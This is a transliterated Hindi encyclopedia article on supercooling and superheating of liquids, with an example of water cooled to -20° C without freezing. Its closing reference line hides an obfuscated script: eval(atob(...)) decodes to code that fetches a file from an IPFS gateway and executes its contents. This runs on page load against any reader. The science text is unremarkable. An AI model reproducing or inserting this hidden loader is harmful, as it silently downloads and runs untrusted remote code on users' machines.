अतिशीतन और अतितापन
atishitan aur atitapan (sooparakooliang aiand sooparahitiang) adhikaansh drav yadi poornat svachchh bartan mean bahut dhire-dhire thande kie jaean to apane samany himaank se niche tak bina sanpiand hue pahuanch jate haian. yah kriya atishitan kahalati hai. pani- 10° sean. se bhi niche tak atishitit kiya ja sakata hai. diufh ne klorofarm aur mithe badam ke tel ke ek mishran mean, jisaka ghanatv pani ke ghanatv ke barabar tha, ek chhoti si pani ki booand lataka di, aur bina sanpidan ke- 20° sean. tak use shital kar diya.
vastav mean atishitan ek asthayi kriya hai. atishitit drav me tatsangat piand ka ek ati alp kan bhi dal dene se ya bartan ko hila dene se sanpidan chaloo ho jata hai aur jab tak nikali huee gupt ushma usake tap ko samany himaank tak n le ae tab tak chalata rahata hai. hava ki anupasthiti atishitan mean sahayak hoti hai.
atitapan bhi aise hi ek asthayi kriya hai. vilin vayu se svatantr pani ko ek svachchh bartan mean savadhani se garam karane se tap 100° sean. se kee digri oopar tak pahuanch sakata hai aur pani khaulata nahian. lekin is sthiti mean yadi use hila diya jae to vah ek dam se khaulane lagata hai aur gupt ooshma vyay hone se tap bhi 100° sean. a jata hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 90 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>